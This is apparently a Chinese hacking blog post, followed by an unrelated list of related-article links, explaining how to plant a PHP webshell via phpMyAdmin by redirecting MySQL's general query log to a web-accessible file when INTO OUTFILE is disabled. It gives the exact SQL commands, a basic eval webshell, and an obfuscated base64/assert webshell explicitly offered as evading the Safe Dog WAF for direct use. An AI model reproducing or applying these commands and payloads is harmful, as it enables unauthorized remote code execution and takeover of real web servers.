首先环境如下:

  • OS:Windows 2003
  • WAF:Safe Dog 4.0正式版
  • phpmyadmin:4.7(许多都可以)
  • Mysql:5.5+
  • PHP:5.3
  • Apache:2.x

总结方法如下:
 outfile被禁止的情况下:
                show variables like '%general%';
                set global general_log = on;
                set global general_log_file = '/var/www/html/1.php';
                select '<?php eval($_POST[cmd]);?>'

    

目前into outfile已经被禁用,并且WAF也会在写入文件的时候拦截。
那么我们尝试通过一个脑洞大开的方法去getshell。
(必须是mysql root权限)

登录phpmyadmin后,查看全局变量:
找到 general log file

这里是存储了每一个sql语句执行的日志(包含SQL语句本身)

但是general log变量必须是ON状态,代表启用。

此时我们把general log开启为ON,然后再去更改general log file的地址为我们的webshell绝对路径。

在每一次更改general log file的时候mysql都会判断日志文件是否存在,如果不存在则会自动创建。

此时该文件已经创建,并且文件内容保存了最后一条SQL语句的日志信息。

MySQLa, Version: 5.5.53 (MySQL Community Server (GPL)). started with:
TCP Port: 3306, Named Pipe: MySQL
Time Id Command Argument
121 Query SHOW GLOBAL VARIABLES WHERE Variable_name="general_log_file"
121 Quit

接下来,我们直接随意查询SQL,每一句都会被写入这个shell.php

由于有WAF,我们采用远程包含的形式来运行webshell。
在我们的远程地址里,放置函数名,使服务器端访问它,然后加载到内存,直接去调用此函数,再去接收我们提交的php代码。

关于菜刀免杀,请看上一篇文章。

下面再附上一个SQL查询免杀shell的语句,方便大家遇到此类情况直接利用:

SELECT "<?php $p = array('f'=>'a','pffff'=>'s','e'=>'fffff','lfaaaa'=>'r','nnnnn'=>'t');$a = array_keys($p);$_=$p['pffff'].$p['pffff'].$a[2];$_= 'a'.$_.'rt';$_(base64_decode($_REQUEST['username']));?>"

可见这边并没有拦截:

文章就到这里啦,这几天比较忙,都没有怎么更新,感谢大家一直以来的支持!

Into outfile禁用情况下另类方法拿webshell的更多相关文章

  1. 如何在命令长度受限的情况下成功get到webshell(函数参数受限突破、mysql的骚操作)

    0x01 问题提出 还记得上篇文章记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门),我们讲到了一些PHP的一些如何巧妙地绕过数字和字母受限的技巧,今天我要给大家分享的是如 ...

  2. Datatable中对某列求和,三种不同情况下的方法

    C# code 方法一. object sumObject = DataTable.Compute("sum(Qty)", "TRUE"); 直接对数据表中的字 ...

  3. Django在不启动server的情况下调用方法

    from django.conf import settingsfrom django import template settings.configure() a = template.Templa ...

  4. 什么情况下才要重写Objective-C中的description方法

    特别注意: 千万不要在description方法中同时使用%@和self,同时使用了%@和self,代表要调用self的description方法,因此最终会导致程序陷入死循环,循环调用descrip ...

  5. 关于在gridview中有dorpdownlist的情况下使用自带编辑模板的方法

    今天记录一下在gridview中,如果有dropdownlist的情况下使用gridview自带编辑模式的方法. 好吧,今天的这个问题有点绕,详细解释一下目的. 因为gridview中的某些列的数据是 ...

  6. Visual c++例子,可不使用常规的对话框资源模板的情况下,动态创建对话框的方法

    详细说明:Visual c++例子,可不使用常规的对话框资源模板的情况下,动态创建对话框的方法.该方法可以在运行时在内存中直接建立对话框资源,使用起来更为灵活.适用于多个开发项目共享有界面的公用程序模 ...

  7. 客户端禁用cookie情况下的URL重写

    客户端禁用cookie情况下的URL重写: servlet: package com.stono.servlet.listenerorder; import java.io.IOException; ...

  8. C++数据个数未知情况下的输入方法

    我们经常需要输入一串数,而数据个数未知.这时候就不能以数据个数作为输入是否结束的判断标准了. 这种情况下,我们可以用以下两种方法输入数据. 方法一:判断回车键(用getchar()=='\n'即可判断 ...

  9. 没有 iOS 开发者账号的情况下部署到真机的方法

    原文发表于我的技术博客 本文分享了官方推荐的没有 iOS 开发者账号的情况下部署到真机的方法,供参考. 原文发表于我的技术博客 1. 官方推荐的方法 原文在此,也就是 Ionic 官方团队在博客中分享 ...

随机推荐

  1. SpringBoot2 配置

    一.Properties与Yaml SpringBoot支持properties与yaml两种配置文件application.properties/application.yml yaml简单使用 1 ...

  2. DataGrid列表信息保存为EXCEL到指定的路径 ---------继续DataGrid在WPF的数据绑定

    一.许多WPF或者Winform程序在保存数据时,会以EXCEL或者文本的形式展现可视化界面的数据,本文就简单介绍下将DataGrid列表信息保存为EXCEL到指定的路径下,例子很简单,用的着的直接用 ...

  3. 【May Be DNK】JSON.parse() and JSON.stringify()的两个实用技巧

    结论 一.数据深拷贝 使用方法:JSON.parse(JSON.stringify(param)) let o = {a: 1, b: 2} let o1 = JSON.parse(JSON.stri ...

  4. Android v7包下Toolbar和ActionBarActivity实现后退导航效果

    android.support.v7包下的ToolBar和ActionBarActivity,均自带后退导航按钮,只是要手动开启,让它显示出来.先来看看ToolBar,页面前台代码: <andr ...

  5. POJ 2498

    #include<iostream> using namespace std; #include<string> #include<stdio.h> int mai ...

  6. 关于使用 IDEA Spring Boot 热部署

    1,POM 中引用 <dependency> <groupId>org.springframework.boot</groupId> <artifactId& ...

  7. dotnetcore+vue+elementUI 前后端分离 三(前端篇)

    说明: 本项目使用了 mysql employees数据库,使用了vue + axois + element UI 2.0 ,演示了 单页程序 架构 ,vue router 的使用,axois 使用, ...

  8. 课程一(Neural Networks and Deep Learning),第三周(Shallow neural networks)—— 0、学习目标

    Learn to build a neural network with one hidden layer, using forward propagation and backpropagation ...

  9. (转)linux用户态和内核态理解

    原文:https://blog.csdn.net/buptapple/article/details/21454167 Linux探秘之用户态与内核态-----------https://www.cn ...

  10. 通俗易懂详解Java代理及代码实战

    一.概述 代理模式是Java常用的设计模式之一,实现代理模式要求代理类和委托类(被代理的类)具有相同的方法(提供相同的服务),代理类对象自身并不实现真正的核心逻辑,而是通过调用委托类对象的相关方法来处 ...